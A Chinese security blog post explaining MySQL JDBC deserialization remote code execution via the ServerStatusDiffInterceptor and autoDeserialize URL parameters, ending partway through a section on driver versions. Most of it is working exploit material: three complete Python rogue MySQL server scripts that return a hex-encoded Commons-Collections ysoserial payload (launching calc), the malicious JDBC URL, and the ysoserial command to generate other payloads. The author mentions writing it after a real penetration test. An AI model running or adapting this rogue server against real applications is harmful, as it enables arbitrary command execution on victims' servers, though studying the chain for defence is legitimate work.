JDBC反序列化-PostgreSQL

JDBC反序列化-MYSQL

前言

文章首发于：https://www.freebuf.com/articles/vuls/433153.html

已经好久没有写博客了，这段时间花了点时间学了点内网的知识，内网相关笔记后续可能会发了。这两天渗透的时候，进入到了一个若依系统中，发现有接口可以通过数据库连接源连接，想到了之前看过但是还没学习的JDBC反序列化的链子，今天学习一下。（要是之前就学了是不是这个就能打通了呢QwQ）

JDBC基础

这里简单说一下JDBC对数据库操作，包含以下几个步骤

• 导入包：要求导入包含数据库编程所需要的JDBC类软件包，通常来说import java.sql.*就可以了
• 注册一个JDBC的驱动程序：要求初始化驱动程序，以便打开与数据库通信的通道
• 建立连接：需要使用DirverManager.getConnect()方法创建一个connection对象，该对象表示数据库服务器的物理连接。需要创建新的数据库，在准备数据库URL时，无需提供任何数据库名称
• 执行查询：需要使用Statement类型对象来创建SQL语句并将其提交到数据库。
• 清理：需要显示关闭所有数据库资源，而不是依赖JVM的垃圾回收

这里我们来一个Demo来执行以上操作

package com;

import java.sql.*;

public class JDBC {
    static final String JDBC_DRIVER = "com.mysql.jdbc.Driver";
    static final String DB_URL = "jdbc:mysql://localhost:3306/";

    static final String USER = "root";
    static final String PASS = "123456";
    public static void main(String[] args) {

        Connection conn = null;
        Statement stmt = null;

        try{
            Class.forName(JDBC_DRIVER);

            System.out.println("Connecting to database...");
            conn = DriverManager.getConnection(DB_URL,USER,PASS);

            System.out.println("Creating statement...");
            stmt = conn.createStatement();

            String sql = "CREATE DATABASE STUDENTS";
            stmt.executeUpdate(sql);
            System.out.println("Database created Successfully...");
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        } catch (SQLException e) {
            throw new RuntimeException(e);
        }
        finally{
            try{
                if(stmt!=null){
                    stmt.close();
                }
            } catch (SQLException e) {
                throw new RuntimeException(e);
            }

            try{
                if(conn!=null){
                    conn.close();
                }

            } catch (SQLException e) {
                throw new RuntimeException(e);
            }
        }
        System.out.println("Bye");

    }
}

这个JDBC反序列化，就是对MYSQL对服务器的请求的利用过程

其中MySQL客户端与服务器的完整交互过程大概如下图所示

JDBC反序列化漏洞

如果攻击者能控制JDBC连接设置项，那么就可以通过将其指向恶意Mysql服务器，进行ObjecInputStream.readObject()的反序列化攻击从而RCE

具体来说，在JDBC连接MySQL服务端时，会有几个内置的SQL查询语句要执行，其中两个查询你结果集在MySQL客户端被处理时，会调用ObjectInputStream.readObject()进行反序列化操作。如果攻击者搭建恶意MySQL服务器来控制这两个查询结果集，并且攻击者可以控制JDBC连接设置项，那么就能触发MySQL JDBC反序列化漏洞

以下是两个可以利用的查询语句：

• SHOW SESSION STATUS
• SHOW COLLATION

环境搭建

pom.xml导入依赖如下

<dependency>  
  <groupId>commons-collections</groupId>  
  <artifactId>commons-collections</artifactId>  
  <version>3.2.1</version>  
</dependency>  
<dependency>  
  <groupId>mysql</groupId>  
  <artifactId>mysql-connector-java</artifactId>  
  <version>8.0.13</version>  
</dependency>

漏洞分析

CC链子作为命令执行的部分，这里我们就需要去找一个JDBC合理的入口类，并且这个入口类要在JDBC连接过程中被自动执行，最终找到com.mysql.cj.jdbc.result.ResultSetImpl，他的getObject()方法调用了readObject方法

JDBC通过MySQL数据库查询数据会返回一个结果集，将查询到结果返回给程序并将结果封装ResultSetImpl这个类 中

所以这个类不满足用户可控输入这一点，因此我们要去找哪里调用了ResultSetImpl#getObject()，最终找到ResultSetUtil类的resultSetToMap方法调用了ResultSetImpl#getObject()，并且能够继续向上去寻找调用

ResultSetUtil这个类是用来处理一些测试用例的结果，或者是profiler的结果。简而言之就是用来数据处理的类，我们继续往上看，谁调用了这里

我们在ServerStatusDiffInterceptor类的populateMapWithSessionStatusValues方法调用了ResultSetUtil#resultSetToMap

这里看一下populateMapWithSessionStatusValues方法的代码逻辑，首先建立了JDBC的连接，并创建查询SHOW SESSION STATUS，接着调用ResultSetUtil#resultSetToMap，完成查询并封装查询结果

我们这里向上查找调用，找到了两个地方：ServerStatusDiffInterceptor#postProcess和ServerStatusDiffInterceptor#preProcess

ServerStatusDiffInterceptor是一个拦截器，在JDBC URL中设定属性queryInterceptors为ServerStatusDiffInterceptor时，执行查询语句会调用拦截器的preProcess和postProcess方法，这是一个自动化执行的过程，可以利用它作为利用链的头部

数据包分析

我们现构造一个JDBC的客户端，代码如下

package com;

import java.sql.*;

public class Test {
    public static void main(String[] args) throws Exception {
        Class.forName("com.mysql.jdbc.Driver");
        String jdbc_url = "jdbc:mysql://127.0.0.1:3306/jdbc?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +
        "&autoDeserialize=true" +
        "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
        Connection con = DriverManager.getConnection(jdbc_url, "jdbc", "123456");
    }
}

在本地开一个mysql服务，配置数据库信息后运行，使用wireshark进行抓包，并使用以下过滤语句过滤3306端口的mysql协议（这里实际使用不同IP进行实验更好）

tcp.port == 3306 && mysql

这里我们需要构造的是greeting、Response OK和Response数据包，这些数据包都可以直接照抄，按流量包将MySQL Protocol中的数据直接返回到客户端，但除了SHOW SESSION STATUS的返回包需要我们自己构造，其中我们的序列化数据就存储在其中

如下图，这个是一个Response OK的数据包，我们选中MySQL Protocol部分，他的数据流为0700000200000002000000，因此我们发送数据时只需要发送0700000200000002000000

fakeMySQL构造

部分代码构造

除去SHOW SESSION STATUS的返回包以外，其他数据包构造的如下代码所示，可以先将其他部分的数据包构造搞清楚后，再进行SHOW SESSION STATUS数据包的构造

import binascii
import socket

greeting = "4a0000000a352e372e323600130000005623364e2121182c00fff7c00200ff811500000000000000000000594b096a7d56547301550952006d7973716c5f6e61746976655f70617373776f726400"
responseOK = "0700000200000002000000"

def send_data(conn, data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiving the package : {}".format(data))
    return str(data).lower()

def run():
    while True:
        conn, addr = sk.accept()
        send_data(conn, greeting)

        while True:
            receive_data(conn)
            send_data(conn, responseOK)

            data = receive_data(conn)
            if "session.auto_increment_increment" in data:
                payload = "01000001142e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c21000c000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c21002d000000fd00001f00002a0000080364656600000014636f6c6c6174696f6e5f636f6e6e656374696f6e000c21002d000000fd00001f000022000009036465660000000c696e69745f636f6e6e656374000c21002a000000fd00001f00002900000a0364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000b03646566000000076c6963656e7365000c210009000000fd00001f00002c00000c03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000d03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000e03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f73697a65000c3f001500000008a00000000026000010036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000011036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000012036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000013036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001403646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000015036465660000000c776169745f74696d656f7574000c3f001500000008a00000000019010016013104757466380475746638047574663804757466380f757466385f756e69636f64655f63690f757466385f67656e6572616c5f63690e534554204e414d45532075746638033132300347504c01310831363737373231360236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce40653595354454d0f52455045415441424c452d524541440331323007000017fe000002000200"
                send_data(conn,payload)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = "01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000"
                send_data(conn,payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, responseOK)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, responseOK)
                data = receive_data(conn)
            if "@@session.autocommit" in data:
                payload = "01000001012a0000020364656600000014404073657373696f6e2e6175746f636f6d6d6974000c3f000100000008800000000002000003013107000004fe000002000000"
                send_data(conn,payload)
            if "SHOW SESSION STATUS" in data:
                pass
            break

if __name__ == "__main__":
    HOST = "0.0.0.0"
    PORT = 3306
    #建立一个ipv4，TCP的socket连接
    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    #绑定IP与端口
    sk.bind((HOST,PORT))
    #建立监听
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST, PORT))

    run()

SHOW SESSION STATUS响应包编写

想要自行去编写该响应包，需要对MySQL的私有协议有一些了解

从流量中看，SHOW SESSION STATUS属于request query报文，对于查询数据包的响应包分为以下四种：

1. 错误包（ERR Packet）
2. 正确包（OK Packet）
3. Protocol::LOCAL_INFILE_Request
4. 结果集（ProtocolText::Resultset）

在这一部分中，我们返回的是结果集这类型的响应包，该类响应包结构如下图所示

结果集结构可以说分为五个数据段

• 数据段1：说明下面的结果集有多少列
• 数据段2：列的定义
• 数据段3：EOF包
• 数据段4：行数据
• 数据段5：EOF包

数据段的结构也是相似的。 长度（3字节） 序号（1字节） 协议数据（不同协议，数据不同）

1. 数据段1就可以写成01 00 00 01 02，前三字节表示数据长度为1，sequence id为1，最后一字节02表示有两列（这里说写成一列的化无法正常运行）
2. 数据段2的定义比较复杂，我们直接那完整的数据进行分析

1a000002036465660001630163016301630c3f00ffff0000fcffff000000

1a 00 00  //3字节表示长度（这个长度说的是协议的内容长度，不包括序号那一字节）
02      //序号 因为是第二个数据字段
03646566  // 这个就是def的意思。
00   //schema 协议因为不使用就用00
01 63  //table 因为我们使用列数据，就不需要名字了，下面几个都是任意字符。字符串第一字节是用来说明长度的。
01 63  //org_table  01表示1字节，63是数据
0163    //name  
0163   //org_name
0c      filler  // length of the following fields 总是0x0c
3f00   //characterset  字符编码 003f是binary 
ffff0000  column_length //允许数据最大长度，就是我们行数据的最大长度。ffff
fc    //column_type 这一列数据类型  fc表示blob  
9000    //flags  9000用的官方的 poc可以运行。  看fnmsd的要大于128好像。
00          //decimals
0000        //filler_2

3. 我见过的POC中都没有添加EOF包，不知道为什么加上就无法复现成功
4. 数据段4就是POC了，POC其实和上面一样的。计算出长度（3字节）序号（1字节）行数据（行数据第一个字节是数据的长度）
5. 最后加入一个EOF包

这里我们使用ysoserial生成CC的POC

java -jar ysoserial [CCn] "calc" > payload

最终POC

大佬们的POC中，show warnings的返回包构造出现了两次，一次是在session.auto_increment_increment的else if后，一次是在SHOW SESSION STATUS的后面

尝试了一下，在SHOW SESSION STATUS的后面，会继续发送一个show warnings的request query包，只有当返回该包的响应包，才能执行反序列化操作

前面的else if (show warnings)我没加，但是可以成功执行，求大佬们解答一下前面的else if判断是有哪种特殊情况吗

大佬们的POC

import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则  java -jar ysoserial [common7那个]  "calc" > a 
    file= r'a'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢？？
                #获取payload
                payload_content=get_payload_content()
                #计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                #计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break


if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 3309

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST,PORT))

    run()

自写POC

import binascii
import os
import socket

greeting = "4a0000000a352e372e323600130000005623364e2121182c00fff7c00200ff811500000000000000000000594b096a7d56547301550952006d7973716c5f6e61746976655f70617373776f726400"
responseOK = "0700000200000002000000"

def send_data(conn, data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiving the package : {}".format(data))
    return str(data).lower()

def get_payload_content():
    #使用java -jar ysoserial [CCn] "calc" > payload生成payload文件
    file= r'payload'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

def run():
    while True:
        conn, addr = sk.accept()
        send_data(conn, greeting)

        while True:
            receive_data(conn)
            send_data(conn, responseOK)

            data = receive_data(conn)
            if "session.auto_increment_increment" in data:
                payload = "01000001142e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c21000c000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c21002d000000fd00001f00002a0000080364656600000014636f6c6c6174696f6e5f636f6e6e656374696f6e000c21002d000000fd00001f000022000009036465660000000c696e69745f636f6e6e656374000c21002a000000fd00001f00002900000a0364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000b03646566000000076c6963656e7365000c210009000000fd00001f00002c00000c03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000d03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000e03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f73697a65000c3f001500000008a00000000026000010036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000011036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000012036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000013036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001403646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000015036465660000000c776169745f74696d656f7574000c3f001500000008a00000000019010016013104757466380475746638047574663804757466380f757466385f756e69636f64655f63690f757466385f67656e6572616c5f63690e534554204e414d45532075746638033132300347504c01310831363737373231360236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce40653595354454d0f52455045415441424c452d524541440331323007000017fe000002000200"
                send_data(conn,payload)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = "01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000"
                send_data(conn,payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, responseOK)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, responseOK)
                data = receive_data(conn)
            if "@@session.autocommit" in data:
                payload = "01000001012a0000020364656600000014404073657373696f6e2e6175746f636f6d6d6974000c3f000100000008800000000002000003013107000004fe000002000000"
                send_data(conn,payload)
                data = receive_data(conn)
            if "show session status" in data:
                mysqlData = "0100000102"
                mysqlData += "1a000002036465660001630163016301630c3f00ffff0000fc9000000000"
                mysqlData += "1a000002036465660001630163016301630c3f00ffff0000fc9000000000"
                # 获取payload
                payload_content = get_payload_content()
                # 计算payload长度
                payload_length = str(hex(len(payload_content) // 2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                # 计算数据包长度
                data_len = str(hex(len(payload_content) // 2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysqlData += data_len_hex + '04' + 'fbfc' + payload_length_hex
                mysqlData += str(payload_content)
                mysqlData += '07000005fe000022000100'
                send_data(conn, mysqlData)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break

if __name__ == "__main__":
    HOST = "0.0.0.0"
    PORT = 3306
    #建立一个ipv4，TCP的socket连接
    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    #绑定IP与端口
    sk.bind((HOST,PORT))
    #建立监听
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST, PORT))

    run()

调试分析

在ServerStatusDiffInterceptor#populateMapWithSessionStatusValues方法处下一个断点，进行分析调式

在ServerStatusDiffInterceptor#populateMapWithSessionStatusValues调用ResultSetUtil#resultSetToMap前，会发送SHOW SESSION STATUS数据包。就是在这里发送数据包时，如果没有show warings数据包的响应包返回，就不会走到下一步。

跟进ResultSetUtil#resultSetToMap方法内，漏洞的触发点是在第二个rs#getObject方法中，第一个rs#getObject返回的是NULL，我们跟进分析

进入后，会判断字段是否为二进制类型和BLOB类型，如果符合条件的话，就会从MySQL服务器中获取对应的字节码数据。在第三标记部分中，通过判断头部信息-84 19，十六进制对应也就是AC ED，判断它是否为Java的序列化数据。还会判断 autoDeserialize 是否为 true。

这里进入rs#getObject方法后，一步一步跟进后，最后走到objIn.readObject()反序列化触发点，这里可以看到数据流部分的开头，是-84 -19典型的java序列化数据的头部特征，也就是AC ED

执行反序列化的过程中，就会触发反序列化漏洞

不同 MySQL-JDBC-Driver 的 payload

8.x

如该文章demo处

"jdbc:mysql://127.0.0.1:3309/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +  
        "&autoDeserialize=true" +  
